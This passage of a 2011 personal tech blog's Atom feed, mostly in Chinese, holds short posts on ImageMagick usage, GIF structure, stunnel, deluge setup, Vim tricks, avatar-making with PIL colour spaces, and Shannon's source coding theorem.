        <updated>2011-08-21T22:31:36Z</updated>
        <content type="html"><![CDATA[<p><a href="http://blog.csdn.net/ltx19860420/article/details/5570902">http://blog.csdn.net/ltx19860420/article/details/5570902</a></p>]]></content>
    </entry>
    <entry>
        <title>ImageMagick教程</title>
        <link href="http://blog.cykerway.com/post/384" />
        <id>http://blog.cykerway.com/post/384</id>
        <updated>2011-08-20T21:16:21Z</updated>
        <content type="html"><![CDATA[<p><a href="/uploads/20110821/im_logo.gif"><img src="/uploads/20110821/im_logo.gif" alt="im_logo.gif" /></a></p>

<p>ImageMagick从6.0版本之后命令行有了很大改观，不再像之前一样乱糟糟的了。命令行的格式统一为：</p>

<pre class="brush:bash">
command { [-setting]... &quot;image&quot;|-operation }...  &quot;output_image&quot;
</pre>

<p>其中{}部分可以重复若干次，用于处理多个图像。</p>

<p>为了弄清ImageMagick是如何处理多个图像的，先了解一下命令行的参数。每个{}对应一个输入图像，所有已经输入的图像构成一个栈（作者这么叫，其实好像和栈也没啥大关系，当数组看吧），其中-setting部分指定设置参数(Setting Options)，-operation指定操作参数(Image Operators)。设置参数一经设置对其后所有图像均生效，而操作参数作用于当前处理栈中的所有图像。</p>

<p>如果细分的话，关系如下：</p>

<ul>
    <li>
        Settings Options
        <ul>
            <li>Operator Settings: 操作设置；</li>
            <li>Input Settings: 输入图像设置；</li>
            <li>Output Settings: 输出图像设置。</li>
        </ul>
    </li>
    <li>
        Image Operators
        <ul>
            <li>Image Creation Operators: 创建图像；</li>
            <li>Simple Image Processing Operators: 单个图像操作。如果栈中有多个图像，作用于每一个；</li>
            <li>Multi-Image Sequence Operators: 多个图像序列操作。一般是将多个图像合并成一个；</li>
            <li>Image Stack Operators: 操作栈中图像的顺序；</li>
            <li>Miscelanious Special Operators: 杂七杂八。</li>
        </ul>
    </li>
</ul>

<p>整个处理过程可以用作者的一句话来概括：</p>

<blockquote><p>Settings are saved in some way for later use, while Operators are applied immediately to the images.</p></blockquote>

<p>文档中还有一个例子来说明，应该很好理解了。</p>

<p>值得一提的是，输入除了给文件名以外还有好几种形式，比较常用的例如：</p>

<pre class="brush:bash">
# all images with extension jpg
convert *.jpg out.gif

# list.txt is an image list
convert @list.txt out.gif

# choose image-001.jpg ... image-005.jpg
convert image-%3d.jpg[1-5] out.gif
</pre>

<p>输出同理，例如output-%3d.jpg之类的。</p>

<h3>图像几何</h3>

<p>图像几何用来确定区域大小。基本格式如下：</p>

<ol>
    <li><i>scale</i>%: 宽高按相同比例缩放</li>
    <li><i>scale-x</i>%x<i>scale-y</i>%: 宽高分别按各自比例缩放</li>
    <li><i>width</i>: 宽度为指定值，高度自适应</li>
    <li>x<i>height</i>: 高度为指定值，宽度自适应</li>
    <li><i>width</i>x<i>height</i>: 最大宽高值，保持宽高比</li>
    <li><i>width</i>x<i>height</i>^: 最小宽高值，保持宽高比</li>
    <li><i>width</i>x<i>height</i>!: 宽高为指定值，无视原图宽高比</li>
    <li><i>width</i>x<i>height</i>&gt;: 原图尺寸大于指定值时才做，保持宽高比（大于的定义下面解释）</li>
    <li><i>width</i>x<i>height</i>&lt;: 原图尺寸小于指定值时才做，保持宽高比（小于的定义下面解释）</li>
    <li><i>area</i>@: 包含指定像素值，（尽量）保持宽高比</li>
</ol>

<p>有个坑爹的地方需要注意一下：格式2中第一个百分号%不是必须的。也就是说&apos;200x50%&apos;不是表示宽度=200像素，高度=50%，而是宽度=200%，高度=50%。</p>

<p>因为别的都比较简单，只说说格式8和格式9。不妨把原图的尺寸记为w1xh1，指定的尺寸记为w2xh2。大于号&gt;就是说原图在指定的尺寸中放不下时才做这个操作。无论是宽放不下还是高放不下，都是放不下，即放不下的条件是w1 &gt; w2 or h1 &gt; h2。小于号&lt;正好相反，是说原图在指定的尺寸中放得下时才做这个操作，即放得下的条件是w1 &lt;= w2 and h1 &lt;= h2。这两个符号的共同点是都相当于将照片恰到好处地、保持宽高比地放入指定大小的像框中（这也是大于号和小于号都不用时的默认行为）。不同点是大于号只处理像框不足以容纳照片的情况，小于号只处理照片无法充分利用像框的情况。</p>

<p>再深入一点，格式8、9可以和格式7放在一起用。格式7的作用是无视宽高比，也就是相当于大于号和小于号的判断要在宽度和高度方向分别进行。用这个选项照片可以完全填满像框。</p>

<p>再深入一点，格式8、9可以和格式6放在一起用。格式6的作用是改变判断方式，把条件从“必须限制在一个框框”变成“必须覆盖一个片片”。也就是说，反过来看，指定的是照片的尺寸，而我们要调整的是像框。大于号处理像框可以完全容纳照片时的情况，避免浪费，也就是判断条件为w1 &gt; w2 and h1 &gt; h2。小于号处理像框不能完全容纳照片时的情况，此时必须增大像框，判断条件为w1 &lt;= w2 or h1 &lt;= h2。</p>

<p>在格式7存在的前提下，有没有格式6已经无所谓了，所以格式6、7混用和只用格式7的效果是完全一样的。</p>

<p>记这些太麻烦了，根据需要整理出表达式然后到这里找吧。</p>

<h3>常用功能</h3>

<p>下面是比较常用的功能的用法：</p>

<pre class="brush:bash">
#!/bin/bash

# flip (vertically)
convert logo: -flip flip.png

# flop (horizontally)
convert logo: -flop flop.png

# rotate (clockwise, filled with background color)
convert logo: -background &quot;#123456&quot; -rotate 30 rotate.png

# resize
convert logo: -resize 50x120% resize.png

# crop
convert logo: -crop 800x150+220+120 +repage crop.png

# composite
convert logo: rose: -geometry +200+100 -composite composite.png

# add border
convert logo: -bordercolor &quot;#123456&quot; -border 60x60 border.png

# raise
convert logo: -raise 30x30 raise.png

# draw text
convert logo: -fill &quot;#00ff00&quot; -font /tmp/wqy.ttf -pointsize 36 -draw &quot;text 70,380 &apos;This\&apos;s 中文: \&quot;Hi!\&quot;&apos;&quot; text.png

# blur
convert logo: -blur 80 blur.png

# noise
convert logo: -noise 3 noise.png

# negate
convert logo: -negate negate.png

# monochrome (with dither)
convert logo: -monochrome mono_dither.png

# monochrome (without dither)
convert logo: +dither -monochrome mono_no_dither.png

# charcoal
convert logo: -charcoal 2 charcoal.png

# spread
convert logo: -spread 2 spread.png

# swirl
convert logo: -swirl 80 swirl.png
</pre>

<h3>无聊之作</h3>

<p>下面的代码可以产生本文开头的GIF动画：</p>

<pre class="brush:bash">
#!/bin/bash

convert logo: -resize &quot;50%&quot; in.gif

for i in {1..20}
do
    iz=$(printf %03d $i)
    echo $iz
    convert in.gif -swirl $(echo &quot;$i*4&quot; | bc) swirl-$iz.gif
done

convert -delay 2 -loop 0 swirl-%03d.gif[1-19] part1.gif
convert -delay 2 -loop 0 swirl-%03d.gif[2-20] -reverse part2.gif
convert -delay 2 -loop 0 part1.gif part2.gif final.gif
</pre>

<p>下面的代码可以产生竖排文字：</p>

<pre class="brush:bash">
#!/bin/bash
#
# shu.sh

if [[ $# -ne 2 ]]; then
    echo &apos;Usage: ./shu.sh &lt;textfile&gt; &lt;height&gt;&apos;
else
    cat &quot;$1&quot; | ./shu.py &quot;$2&quot; | convert -background lightblue -fill &quot;#336699&quot; -pointsize 24 -font AR-PL-UKai-CN-Book label:@- png:-
fi
</pre>

<pre class="brush:python">
#!/usr/bin/python2
# -*- coding: utf-8 -*-
#
# shu.py

import sys

IGNORE = &apos; \n，。！？；：“”&apos;.decode(&apos;utf-8&apos;)

def shu():
    s = sys.stdin.read().decode(&apos;utf-8&apos;)
    w = int(sys.argv[1])
    i = 0
    t = []
    r = []

    for c in s:
        if c in IGNORE:
            continue

        if i == 0:
            r = []
            t.append(r)
        r.append(c)
        i = (i + 1) % w

    if i != 0:
        while i &lt; w:
            r.append(&apos;  &apos;)
            i += 1

    tt = zip(*t)
    for ii in range(len(tt)):
        ll = list(tt[ii])
        ll.reverse()
        ss = u&apos;&apos;.join(ll).encode(&apos;utf-8&apos;)
        if ii == len(tt) - 1:
            sys.stdout.write(ss)
        else:
            print ss

def usage():
    print &apos;Usage: cat &lt;textfile&gt; | ./shu.py &lt;height&gt;&apos;

if __name__ == &apos;__main__&apos;:
    if len(sys.argv) != 2:
        usage()
    else:
        shu()
</pre>

<p><a href="/uploads/20110821/lantingjixu.png"><img src="/uploads/20110821/lantingjixu-tn.png" alt="lantingjixu.png" /></a></p>

<p>Links:</p>

<ul>
    <li><a href="http://imagemagick.org/Usage/basics/#cmdline">http://imagemagick.org/Usage/basics/#cmdline</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>GIF图像格式</title>
        <link href="http://blog.cykerway.com/post/383" />
        <id>http://blog.cykerway.com/post/383</id>
        <updated>2011-08-20T20:28:52Z</updated>
        <content type="html"><![CDATA[<p>用Imagemagick的convert命令发现了一个好玩的事情：</p>

<pre class="brush:bash">
identify a.png
convert -extract 200x200+100+100 a.png a.jpg
identify a.jpg
convert -extract 200x200+100+100 a.png a.gif
identify a.gif
</pre>

<p>给出结果是：</p>

<pre class="brush:bash">
a.png PNG 640x480 640x480+0+0 8-bit PseudoClass 16c 1.12KB 0.000u 0:00.000
a.jpg JPEG 200x200 200x200+0+0 8-bit PseudoClass 256c 7.77KB 0.000u 0:00.000
a.gif GIF 200x200 640x480+100+100 8-bit PseudoClass 16c 1.79KB 0.000u 0:00.000
</pre>
<p>就是说从一个640x480的png中裁一块200x200的图像下来，存成jpg的话就是200x200大小，存成gif的话就是640x480大小。为什么呢？</p>

<p>翻了一下GIF图像格式，发现GIF的基本结构是一个logical screen里面放若干image。而convert根据原图大小和裁剪区域把logical screen和image设置成了相应的值。所以在上例中logical screen的大小是640x480，而里面image的大小是200x200。至于看图软件具体显示哪一个值，不同的软件未必一样。如feh/display只显示GIF的有效image区域，即200x200，而firefox会显示整个logical screen，即640x480。</p>

<p>Links:</p>

<ul>
    <li><a href="http://www.w3.org/Graphics/GIF/spec-gif89a.txt">http://www.w3.org/Graphics/GIF/spec-gif89a.txt</a></li>
    <li><a href="http://blog.csdn.net/friendwaters/article/details/2737328">http://blog.csdn.net/friendwaters/article/details/2737328</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Anonymity Test</title>
        <link href="http://blog.cykerway.com/post/382" />
        <id>http://blog.cykerway.com/post/382</id>
        <updated>2011-08-20T00:20:28Z</updated>
        <content type="html"><![CDATA[<p>Come on and have a test to see whether your information is as safe as you think.</p>

<p>Links:</p>

<ul>
    <li><a href="http://whoer.net/extended">http://whoer.net/extended</a></li>
    <li><a href="http://ip-check.info/">http://ip-check.info/</a></li>
    <li><a href="http://test.anonymity.com/">http://test.anonymity.com/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Disable Firefox extension compatibility check</title>
        <link href="http://blog.cykerway.com/post/381" />
        <id>http://blog.cykerway.com/post/381</id>
        <updated>2011-08-19T01:16:12Z</updated>
        <content type="html"><![CDATA[<p>因为Firefox的插件更新跟不上版本号了，一怒之下直接升级到nightly然后禁用兼容性检查。在about:config中建立新的Boolean类型键值extensions.checkCompatibility.nightly = false即可。其他版本同样适用，只需将nightly改为对应版本号即可，详见<a href="http://kb.mozillazine.org/Extensions.checkCompatibility">http://kb.mozillazine.org/Extensions.checkCompatibility</a></p>]]></content>
    </entry>
    <entry>
        <title>xmodmap更换鼠标键</title>
        <link href="http://blog.cykerway.com/post/380" />
        <id>http://blog.cykerway.com/post/380</id>
        <updated>2011-08-18T15:44:53Z</updated>
        <content type="html"><![CDATA[<p>鼠标有些键残了，用其他键位替换。先用xev捕捉鼠标物理按钮编号，然后用xmodmap修改：</p>

<pre class="brush:bash">
xmodmap -e "pointer = 9 10 8 4 5 6 7 3 1 2"
</pre>

像这样就是做了一个1-9, 2-10, 3-8的互换。用xmodmap -pp查看一下：

<pre class="brush:bash">
There are 24 pointer buttons defined.

    Physical        Button
     Button          Code
        1              9
        2             10
        3              8
        4              4
        5              5
        6              6
        7              7
        8              3
        9              1
       10              2
       11             11
       12             12
       13             13
       14             14
       15             15
       16             16
       17             17
       18             18
       19             19
       20             20
       21             21
       22             22
       23             23
       24             24
</pre>

<p>说明搞定了。</p>]]></content>
    </entry>
    <entry>
        <title>Amazing algorithms to enhance or transform images</title>
        <link href="http://blog.cykerway.com/post/379" />
        <id>http://blog.cykerway.com/post/379</id>
        <updated>2011-08-16T21:09:23Z</updated>
        <content type="html"><![CDATA[<p><a href="http://www.scriptol.com/programming/graphic-algorithms.php">http://www.scriptol.com/programming/graphic-algorithms.php</a></p>]]></content>
    </entry>
    <entry>
        <title>A shortcut for errata of CLRS-2e</title>
        <link href="http://blog.cykerway.com/post/378" />
        <id>http://blog.cykerway.com/post/378</id>
        <updated>2011-08-12T21:16:14Z</updated>
        <content type="html"><![CDATA[<p>The address is <a href="http://www.cykerway.com/clrs">http://www.cykerway.com/clrs</a></p>

<p>Defaults to first printing, front to back, thus saving four mouse clicks.</p>

<p>Just add the following lines in nginx configuration</p>

<pre class="brush:bash">
location /clrs {
    proxy_pass          http://www.cs.dartmouth.edu/~thc/clrs-2e-bugs/bugs.php;
    proxy_method        POST;
    proxy_set_header    Content-Type    application/x-www-form-urlencoded;
    proxy_set_body      printing=1&amp;sort=location.asc&amp;show_errors=Show+Errata;
}
</pre>]]></content>
    </entry>
    <entry>
        <title>stunnel</title>
        <link href="http://blog.cykerway.com/post/377" />
        <id>http://blog.cykerway.com/post/377</id>
        <updated>2011-08-05T14:09:16Z</updated>
        <content type="html"><![CDATA[<p>stunnel是一个非常简单灵活的传输层加密工具。它具有Server模式和Client模式。</p>

<p>最简单的Server端配置只需要如下选项（其他uid/gid什么的就用默认的了）：</p>

<pre class="brush:bash">
# cert/key事先用openssl生成
cert = /etc/stunnel/openssl/server.crt
key = /etc/stunnel/openssl/server.key

[https]
accept = 10443
connect = 80
</pre>

<p>Client端如下：</p>

<pre class="brush:bash">
[https]
client = yes
accept = 10080
connect = &lt;server_ip&gt;:10443
</pre>

<p>这个小例子假定有一台HTTP伺服器监听在80端口。在这里Client的功能是将用户发送到10080的HTTP请求加密后发送到Server的10443端口。而Server的功能是将10443端口接收到的加密信息解密后发送到80端口。所以访问Client的10080端口实际上相当于访问Server的80端口，但中间的传输是加密的。当然，如果Server允许外部机器访问其10443端口，也可以用HTTPS直接访问该端口。</p>

<p>Links:</p>

<ul>
    <li><a href="http://jackphil.72pines.com/2007/08/03/不能说的秘密-stunnel加密应用简介/">http://jackphil.72pines.com/2007/08/03/不能说的秘密-stunnel加密应用简介/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Vim技巧之成对括号</title>
        <link href="http://blog.cykerway.com/post/376" />
        <id>http://blog.cykerway.com/post/376</id>
        <updated>2011-08-02T03:29:50Z</updated>
        <content type="html"><![CDATA[<ol>
    <li><p>在一个括号上按%可以跳到对应括号。</p></li>
    <li>
        <p>在一对括号之内（以方括号为例）按va[或va]可以选择之间的内容（包括这对方括号），按vi[或vi]同理（但不包括方括号）。</p>
        <ul>
            <li><p>对v之外的其他操作也适用，如c/d/y/...</p></li>
            <li><p>对其他括号也适用，甚至对单词边界和HTML/XML标签也适用。</p></li>
            <li><p>更多用法参见:help object-select。</p></li>
        </ul>
    </li>
</ol>]]></content>
    </entry>
    <entry>
        <title>CyanogenMod 7自定义铃声</title>
        <link href="http://blog.cykerway.com/post/375" />
        <id>http://blog.cykerway.com/post/375</id>
        <updated>2011-07-31T20:46:13Z</updated>
        <content type="html"><![CDATA[<ol>
    <li>建立目录</li>

    <ul>
        <li>/sdcard/media/audio/alarms</li>
        <li>/sdcard/media/audio/ringtones</li>
        <li>/sdcard/media/audio/notifications</li>
    </ul>

    <li>将铃声（mp3文件）放入相应目录</li>
    <li>运行Dev Tools -&gt; Media Scanner</li>
</ol>

<p>此时进入Settings -&gt; Sound，其中Phone ringtone和Notification ringtone里应该有自定义的铃声了，设置闹钟时也应该有自定义的铃声了。</p>]]></content>
    </entry>
    <entry>
        <title>制作头像</title>
        <link href="http://blog.cykerway.com/post/374" />
        <id>http://blog.cykerway.com/post/374</id>
        <updated>2011-07-31T03:48:48Z</updated>
        <content type="html"><![CDATA[<p>原来在T-shirt上画过一个头像，后来想到干脆把它弄到计算机里去搞一搞做头像吧。</p>

<p>首先要弄好光源，把它拍下来。然后调整大小，去背景，上色，调节饱和度，修理边缘，加上特殊效果，最后抠出遮罩。</p>

<p>用到的工具是ImageMagick，GIMP和自己写的几个调用PIL的Python脚本。</p>

<p>Note.前面几项任务用的是HSL色彩空间。个人觉得如果用HSV色彩空间可能效果会更好（当然也可能更差，没进行实验。因为这是后来才发现的……）</p>

<p>设原图为A（未列出）。调整大小用convert即可，产生图B。去背景也比较简单，因为背景是白色的，而前景都是饱和度比较高的颜色，在HSL色彩空间里把饱和度较小的颜色置白即可。（后来觉得在HSL里这样搞可能会有问题，因为HSL的白色也可以有较高的饱和度，而HSV则不会。不过这里用HSL暂时还没什么问题。）代码大致如下：</p>

<pre class="brush:python">
for x in range(640):
    for y in range(480):
        r, g, b, h, s, l = getrgbhsl(im, (x, y))
        if s &lt; 0.3:
            im.putpixel((x, y), (255, 255, 255))
</pre>

<p>这一步产生图C。</p>

<p>接下来是上色。当然是根据原来的颜色进行分块处理。代码大致如下：</p>

<pre class="brush:python">
rx = 210, 450
ry = 120, 280
gx = 200, 340
gy = 260, 390
bx = 330, 460
by = 260, 390
yx = 230, 330
yy = 230, 310
cx = 290, 370
cy = 300, 350
mx = 330, 420
my = 230, 310

for x in range(*rx):
    for y in range(*ry):
        r, g, b, h, s, l = getrgbhsl(im, (x, y))
        if abs(h % 360) &lt; 20 and s &gt; 0.1:
            im.putpixel((x, y), (206, 41, 11))

for x in range(*gx):
    for y in range(*gy):
        r, g, b, h, s, l = getrgbhsl(im, (x, y))
        if h &gt; 100 and h &lt; 160 and s &gt; 0:
            im.putpixel((x, y), (16, 157, 61))
            
for x in range(*bx):
    for y in range(*by):
        r, g, b, h, s, l = getrgbhsl(im, (x, y))
        if h &gt; 212 and h &lt; 220 and s &gt; 0:
            im.putpixel((x, y), (0, 65, 193))

for x in range(*cx):
    for y in range(*cy):
        r, g, b, h, s, l = getrgbhsl(im, (x, y))
        if h &gt; 200 and h &lt; 210 and s &gt; 0.8 and l &lt; 0.5:
            im.putpixel((x, y), (0, 68, 117))

for x in range(*mx):
    for y in range(*my):
        r, g, b, h, s, l = getrgbhsl(im, (x, y))
        if h &gt; 230 and h &lt; 240 and s &gt; 0.5:
            im.putpixel((x, y), (28, 18, 58))

for x in range(*yx):
    for y in range(*yy):
        r, g, b, h, s, l = getrgbhsl(im, (x, y))
        if h &gt; 63 and h &lt; 100 and s &gt; 0:
            im.putpixel((x, y), (201, 204, 1))

</pre>

<p>这一步产生图D。</p>

<p>然后手工GIMP一下，边边角角弄一弄，铅笔/毛笔/气刷/模糊依次用一遍，产生图E。</p>

<p>然后加点特殊效果，比如中心放射的Motion Blur。怎么保证原图的真实感呢？先分两个图层，把其中一个做Motion Blur，然后设置合适的图层混合方式。这一步产生图F。</p>

<p>最后抠遮罩。这个最难了。基本思路是通道抠图。原来只会用RGB通道抠图，这次发现饱和度抠图效果更好，因为前面已经实现了边缘的渐变。不过这里必须用HSV色彩空间了。如果用HSL色彩空间的话饱和度从里向外非常奇葩地不是逐渐减小，而是靠近边缘内侧有一圈较大的值（见下面比较），怪不得有人说HSL的饱和度定义不合理。搞到饱和度通道之后就是常用的选择扩张+外染色，以及选择收缩+内染色。然后把饱和度通道作为Alpha通道即可。当然最后最好存成PNG格式。这一步产生最终的图G。</p>

<p>分别利用HSV和HSL的饱和度产生遮罩的程序：</p>

<pre class="brush:python">
for x in range(0, 640):
    for y in range(0, 480):
        r, g, b, h, s, l = getrgbhsl(f, (x, y))
        mask.putpixel((x, y), int(s * 255))
mask.show()
mask.save(&apos;mask-hsl.png&apos;)

for x in range(0, 640):
    for y in range(0, 480):
        r, g, b, h, s, v = getrgbhsv(f, (x, y))
        mask.putpixel((x, y), int(s * 255))
mask.show()
mask.save(&apos;mask-hsv.png&apos;)
</pre>

<p>生成的两个遮罩结果如下，可以发现区别还是很大的，L很大的时候HSL的S是废渣：</p>

<ul>
    <li>
        <p>MASK-HSL</p>
        <p><a href="/uploads/20110731/MASK-HSL.png"><img src="/uploads/20110731/MASK-HSL.png" alt="MASK-HSL" /></a></p>
    </li>
    <li>
        <p>MASK-HSV</p>
        <p><a href="/uploads/20110731/MASK-HSV.png"><img src="/uploads/20110731/MASK-HSV.png" alt="MASK-HSV" /></a></p>
    </li>
</ul>

<p>想要做favicon的话把PNG扔到<a href="http://converticon.com/">http://converticon.com/</a>上面就行了。</p>

<ul>
    <li>
        <p>B</p>
        <p><a href="/uploads/20110731/B.png"><img src="/uploads/20110731/B.png" alt="B" /></a></p>
    </li>
    <li>
        <p>C</p>
        <p><a href="/uploads/20110731/C.png"><img src="/uploads/20110731/C.png" alt="C" /></a></p>
    </li>
    <li>
        <p>D</p>
        <p><a href="/uploads/20110731/D.png"><img src="/uploads/20110731/D.png" alt="D" /></a></p>
    </li>
    <li>
        <p>E</p>
        <p><a href="/uploads/20110731/E.png"><img src="/uploads/20110731/E.png" alt="E" /></a></p>
    </li>
    <li>
        <p>F</p>
        <p><a href="/uploads/20110731/F.png"><img src="/uploads/20110731/F.png" alt="F" /></a></p>
    </li>
    <li>
        <p>G</p>
        <p><a href="/uploads/20110731/G.png"><img src="/uploads/20110731/G.png" alt="G" /></a></p>
    </li>
</ul>

<p>用到的工具函数<a href="/uploads/20110731/tool.py">tool.py</a>改编自<a href="http://jtauber.com/blog/2008/10/17/hsl_gradients/">http://jtauber.com/blog/2008/10/17/hsl_gradients/</a>，新加入了hsv2rgb/rgb2hsv。</p>]]></content>
    </entry>
    <entry>
        <title>feh字体设置</title>
        <link href="http://blog.cykerway.com/post/373" />
        <id>http://blog.cykerway.com/post/373</id>
        <updated>2011-07-30T02:30:44Z</updated>
        <content type="html"><![CDATA[<p>feh看图的时候如果显示的信息里有中文，可能会乱码。一般来说应该是字体的问题。</p>

<p>到/usr/share/feh/fonts下看一看，如果没有中文字体，链接或者复制一个过来即可。</p>

<p>如果遇到ttc文件，强制改名ttf貌似也行。另外还有<a href="http://sites.google.com/site/cockroachzl2/ttc2ttf">ttc2ttf</a>这个工具可以用。</p>

<p>feh的字体设置用-e命令，格式是&lt;字体&gt;/&lt;字号&gt;。例如，如果有/usr/share/feh/fonts/wqy-microhei.ttf这个文件，命令行可以写成</p>

<pre class="brush:bash">
feh -e wqy-microhei/11 a.jpg
</pre>]]></content>
    </entry>
    <entry>
        <title>G1效果器参数</title>
        <link href="http://blog.cykerway.com/post/372" />
        <id>http://blog.cykerway.com/post/372</id>
        <updated>2011-07-22T19:09:53Z</updated>
        <content type="html"><![CDATA[<p>前几个都不错，可惜没有试听。</p>

<p>Links:</p>

<ul>
    <li><a href="http://zhangzz17.blog.163.com/blog/static/1458666752010102753211472/">http://zhangzz17.blog.163.com/blog/static/1458666752010102753211472/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Detexify</title>
        <link href="http://blog.cykerway.com/post/371" />
        <id>http://blog.cykerway.com/post/371</id>
        <updated>2011-07-21T15:44:24Z</updated>
        <content type="html"><![CDATA[<p>不知道某个LaTeX符号的时候画一画就行了～～</p>

<p>Links:</p>

<ul>
    <li><a href="http://detexify.kirelabs.org/classify.html">http://detexify.kirelabs.org/classify.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Greg&#039;s Cable Map</title>
        <link href="http://blog.cykerway.com/post/370" />
        <id>http://blog.cykerway.com/post/370</id>
        <updated>2011-07-16T22:05:21Z</updated>
        <content type="html"><![CDATA[<p>基于Google Maps的全球光缆分布图。上海、青岛、汕头这三个国际出口，以及CUCN、TPE等著名到米国线路都可以直观看到。点击光缆还会显示相关信息。</p>

<p><a href="/uploads/20110716/greg.png"><img src="/uploads/20110716/greg.png" alt="greg" /></a></p>

<p>日本线路真好，APCN2、EAC照连不误，到米国两条7Tbps的线路，一条6Tbps的线路还不够，CUCN、TPE经过还能插一腿。</p>

<p>另有各大ISP线路图，也一块发了吧。</p>

<p>Links:</p>
<ul>
    <li><a href="http://www.cablemap.info/">http://www.cablemap.info/</a></li>
    <li><a href="http://www.hostloc.com/viewthread.php?action=printable&tid=20701">http://www.hostloc.com/viewthread.php?action=printable&amp;tid=20701</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>deluge</title>
        <link href="http://blog.cykerway.com/post/369" />
        <id>http://blog.cykerway.com/post/369</id>
        <updated>2011-07-14T05:15:50Z</updated>
        <content type="html"><![CDATA[<p>哎哟deluge真是个好东西，本地执行支持magnet，远程执行暂时好像还不支持，但是能用torrent也成，而且界面好漂亮啊～～</p>

<p>Arch下安装：</p>

<pre class="brush:bash">
$ yaourt -S deluge
</pre>

<p>会生成一个HOME为/srv/deluge的deluge账户，下面有个隐藏的.config，改配置到那里去改。为了安全起见，最好改一下SSL crt/key，这两个东西存放在~/.config/deluge/ssl目录下，启动server的时候貌似会自动生成（但是谁知道自动生成的这个靠谱不……）。生成SSL crt/key的方法见<a href="http://httpd.apache.org/docs/2.0/ssl/ssl_faq.html#selfcert">http://httpd.apache.org/docs/2.0/ssl/ssl_faq.html#selfcert</a>。生成后直接覆盖原文件即可。</p>

<p>本地执行只需</p>

<pre class="brush:bash">
$ deluge
</pre>

<p>远程执行只需在服务器上</p>

<pre class="brush:bash">
# /etc/rc.d/deluged start
# /etc/rc.d/deluge-web start
</pre>

<p>然后用浏览器连接8112端口即可。</p>

<p>Debian下安装：</p>
<pre class="brush:bash">
# apt-get install deluge deluged deluge-web
</pre>

<p>和Arch大同小异。需要三个包：deluge/deluged/deluge-web，第一个用于本地执行，后两个用于远程执行。只不过不会像Arch一样建立deluge账户，而是用当前账户。所以配置文件仍然在~/.config/deluge目录下，但~是当前用户的家目录。再者没有init.d下的启动脚本，自己写一个：</p>

<pre class="brush:bash">
#!/bin/bash

if [ &quot;$1&quot; = &quot;stop&quot; ]; then
    killall deluge-web
    killall deluged
else
    deluged -q
    deluge-web -fq
fi

</pre>]]></content>
    </entry>
    <entry>
        <title>market-enabler</title>
        <link href="http://blog.cykerway.com/post/368" />
        <id>http://blog.cykerway.com/post/368</id>
        <updated>2011-07-12T19:32:36Z</updated>
        <content type="html"><![CDATA[<p>连个Google Maps都没有怎么行。</p>

<p>Links:</p>

<ul>
    <li><a href="http://blog.hetaoos.com/archives/66">http://blog.hetaoos.com/archives/66</a></li>
    <li><a href="http://www.2030.tk/wiki/Android_market_switch">http://www.2030.tk/wiki/Android_market_switch</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Shannon&#039;s source coding theorem</title>
        <link href="http://blog.cykerway.com/post/367" />
        <id>http://blog.cykerway.com/post/367</id>
        <updated>2011-07-11T02:47:01Z</updated>
        <content type="html"><![CDATA[<p>很久以前就听说过数据压缩的极限是熵值，一直没能理解，刚才把Shannon&apos;s source coding theorem看了一下，总算懂一点了。</p>

<p>设定是，$\Sigma_1, \Sigma_2$是两个alphabets，编码(codes)$f$是从$\Sigma_1$到$\Sigma_2^*$的映射。令$a = |\Sigma_2|$，为了简单起见，这里假设$\Sigma_2 = \{0, 1\}$ (so $a = 2$). 并且，我们要求f是uniquely decodable codes（见置底链接）。$\Sigma_1$可以看成是原文的字母表，不妨令$\Sigma_1 = \{s_1, \dots, s_n\}$，并设$s_i$出现的概率是$p_i$。令随机变量$X$的取值范围是$\Sigma_1$，且$\Pr[X = s_i] = p_i$。令随机变量$S = |f(X)|$。Shannon&apos;s source coding theorem说，如果f是最优的，那么$H(X) \leq E[S] &lt; H(X) + 1$。</p>

<p>Uniquely decodable codes的要求很合理，因为这个定理的适用范围是无损，是必须正确解码。而这个定理说的是，最优码率不可能比熵值更优，并且有一个非常接近熵值的且为uniquely decodable codes的编码（其实也为prefix codes），而且还可以把这个编码显式构造出来。</p>

<p>证明用到了Gibbs&apos; inequality和Kraft&apos;s inequality。Gibbs的很易懂，Kraft的有点乱，其实说的是</p>

<ul>
    <li>所有uniquely decodable codes都满足性质$\sum_{i = 1}^n r^{-l_i} \leq 1$。</li>
    <li>对所有满足该性质的${l_i}$都可以构造出一个prefix codes（prefix codes也是uniquely decodable codes）。</li>
</ul>

<p>嗯，是这么个关系。</p>

<p>Links:</p>

<ul>
    <li><a href="http://en.wikipedia.org/wiki/Variable-length_code">http://en.wikipedia.org/wiki/Variable-length_code</a></li>
    <li><a href="http://en.wikipedia.org/wiki/Shannon%27s_source_coding_theorem">http://en.wikipedia.org/wiki/Shannon%27s_source_coding_theorem</a></li>
    <li><a href="http://en.wikipedia.org/wiki/Gibbs%27_inequality">http://en.wikipedia.org/wiki/Gibbs%27_inequality</a></li>
    <li><a href="http://en.wikipedia.org/wiki/Kraft%27s_inequality">http://en.wikipedia.org/wiki/Kraft%27s_inequality</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Sardinas-Patterson algorithm</title>
        <link href="http://blog.cykerway.com/post/366" />
        <id>http://blog.cykerway.com/post/366</id>
        <updated>2011-07-11T00:05:57Z</updated>
        <content type="html"><![CDATA[<p>简单说就是一个检测是否为Uniquely decodable codes的方法。做法是保存每轮中dangling suffix的集合，并检查是否包含了空串($\epsilon$)，以及是否和之前的集合相同。若为前者，表示找到了一个证明不是Uniquely decodable codes的反例。若为后者，可证明是Uniquely decodable codes，因为如果某两轮集合相同，根据迭代公式，所有之后的集合都是这两轮之间部分的重复，所以都不含空串。但是假如存在反例，一定会有一轮集合包含空串。所以没有反例。</p>

<p>这个算法一定会停，因为dangling suffix的长度不可能超过最长的编码的长度，所以dangling suffix的集合的个数是有限的。</p>

<p>Links:</p>

<ul>
    <li><a href="http://en.wikipedia.org/wiki/Variable-length_code#Uniquely_decodable_codes">http://en.wikipedia.org/wiki/Variable-length_code#Uniquely_decodable_codes</a></li>
    <li><a href="http://en.wikipedia.org/wiki/Sardinas%E2%80%93Patterson_algorithm">http://en.wikipedia.org/wiki/Sardinas%E2%80%93Patterson_algorithm</a></li>
